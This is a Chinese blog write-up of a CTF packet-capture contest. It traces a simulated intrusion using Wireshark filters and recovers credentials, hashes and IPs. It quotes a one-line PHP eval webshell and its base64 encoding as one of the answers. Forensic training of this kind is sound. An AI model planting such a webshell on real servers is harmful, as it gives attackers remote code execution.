安恒八月月赛流量包writeup

安恒8月月赛多了个流量包分析,很好,铁三之后,很久没训练了,去玩玩呗。玩到比赛结束,不算很难,但说个实在话,分配的关卡有点不合理(给了两个vpn的包,只考一题,无语)。哦,对了,内附流量包下载链接。

先给个数据包下载地址:

1535270426213

题目背景

1535269950328

总关卡

  1. 某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器:
  2. 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可):
  3. 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:
  4. 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码:
  5. 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么:
  6. 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少:
  7. 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么:
  8. 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么:edc123!@#
  9. 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip:
  10. 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password):
  11. 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn,ip是多少:

解题过程

1、黑客使用的扫描器:awvs

这题猜的,之后分析了下,不难,也算是送分题,进去翻翻流量包,浏览一下就有了,很多下面这种格式

1535270767458

2、黑客扫描到的登陆后台是(相对路径即可):/admin/login.php?rec=login

这题,更是送分题,打开数据包,过滤下http86分组请求的网站目录即是答案

1535271016370

3、黑客使用了什么账号密码登陆了web后台(形式: username/password):admin/admin!@#pass123

这里开始,就有点坑了,因为刚开始开头就有一个302的重定向包,看了下,好像也没错,的确也是登录成功了

1535271740511

后面发现,不止有黑客的ip,还有其他的ip。通过大量404请求,判断是黑客在扫目录,确认了下黑客ip192.168.94.59http.response.code==302&&ip.addr==192.168.94.59过滤下,发现302的包不是很多,标记一下,找下就好啦1535272375077在最后一个response.code等于302的包找到了。所以,”人事”这个不是黑客登的,”admin“才是(大意了,果然,三个月没玩数据包生疏了)

1535272592573

4、黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码:PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==

这题,贼鸡儿坑。这题是放到最后才蒙出来的。浏览webone.pcap数据包的末尾,发现a.php有猫咪,但是死活找不到它是如何上传的,最后,无可奈何,既然有1234为传递值,构造了个一句话木马:<?php @eval($_POST[1234]);?> ,然后提交base64编码,过了!过了!……..

1535272925397

赛后仔细找了找,找到了 ,但是非常奇怪,为什么这个出现在tcp流里面,我在http流里面压根没找到这个html,过滤语句tcp contains "<?php @eval"(如果以后http不行,那就试试tcp,可能是tcp重传的原因,导致http中没追踪到)

1535282630426

下面是手动筛选tcp流的方式

1535275180645

5、黑客在robots.txt中找到的flag是什么:87b7cb79481f317bde90c116cf36084b

浏览webone.pcap数据包的末尾,查看众多a.php的执行命令的响应即可找到答案。

1535166614685

1535166653144

6、黑客找到的数据库密码是多少:e667jUPvJjXHvEUv

依旧浏览webone.pcap数据包的末尾,查看下响应的包,即可找到答案

1535276945723

1535166858893

7、黑客在数据库中找到的hash_code是什么:d1c029893df40cb0f47bcf8f1c3c17ac

接着打开webtwo.pcap数据包,查看下前面几个mysql请求和响应,即可找到答案

1535162265285

1535162305942

8、:黑客破解了账号ijnu@test.com得到的密码是什么:edc123!@

这里有了点小技巧,直接将这个邮箱化为相应的字符串16进制值,直接查找

1535163233365

1535163224381

然后MD5解密下,得到答案

1535163810679

9、被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip:10.3.3.100

这里有回到了webone.pcap数据包,依旧浏览webone.pcap数据包的末尾,查看下响应的包,即可找到答案

1535167066024

10、黑客使用了什么账号登陆了mail系统(形式: username/password):admin/admin!@#pass123

这题需要看mailtwo.pcapmailtwo1.pcap两个数据包。

首先在mailtwo.pcap中过滤http,序号3Cookie中就发现 login_name=wenwenni字段,并且是action=logout1535267557510

继续跟进,发现下一个序号是28分组,又到了登陆界面的35分组,在其中发现了密码的加密函数:

1535268095509

取出来发现是AESCBC加密,填充格式为ZeroPadding,密钥为字符串1234567812345678hash值,偏移量为1234567812345678

1
2
3
4
var key_hash = CryptoJS.MD5('1234567812345678');
var key = CryptoJS.enc.Utf8.parse(key_hash);
var iv = CryptoJS.enc.Utf8.parse('1234567812345678');
form.password.value = CryptoJS.AES.encrypt(form.password.value, key, { iv: iv,mode:CryptoJS.mode.CBC,padding:CryptoJS.pad.ZeroPadding});

因刚退出,所以是根据cookie中的信息登陆的,在下一请求42分组对应的45分组中出现{"success":true},表示登陆成功。

1535268433463

既然如此,我们使用(http contains "{\"success\":true}" or http.request.method=="POST") and ip.addr==192.168.94.59过滤一下,显示出post请求及成功的返回结果,l浏览一下发现是在爆破,并且到mailtwo.pcap的最后也未爆破成功。相同的过滤条件上在mailtwo1.pcap上试试,发现几条数据,从后往前看,发现18152是登陆成功的返回结果,那对应的17126则就是正确的加密后的密码。

1535269130976

那么解密网址进行aes解密即可得到admin账号的密码。此题最终答案即为:admin/admin!@#PASS123

1535267206637

此题,据说还有一种方法:社工。但是个人认为并不合理,此题答案跟第三题答案碰巧一样罢了,因为两个关卡的源服务器ip并不一样。

11、黑客获得的vpn,ip是多少:10.3.4.3

这题其实只需要vpn的第一个包就行了,百度学习一波vpn包相关协议,收益匪浅(吐槽下,安恒的直播课真的需要讲点干货,别为了解题而解题啊,让人家直接去一个一个试内网的ip,这不是很好吧)

1535178357297

这里留两个链接供参考学习:

探究vpn数据包传输过程

PPTP 理解以及报文的分析

结语

数据包分析还是很有意思的,个人计划着来一波数据协议的实验分析,可能会有点复杂,但是其中的乐趣也是无穷,有兴趣的小伙伴请联系我,一起学习!

0%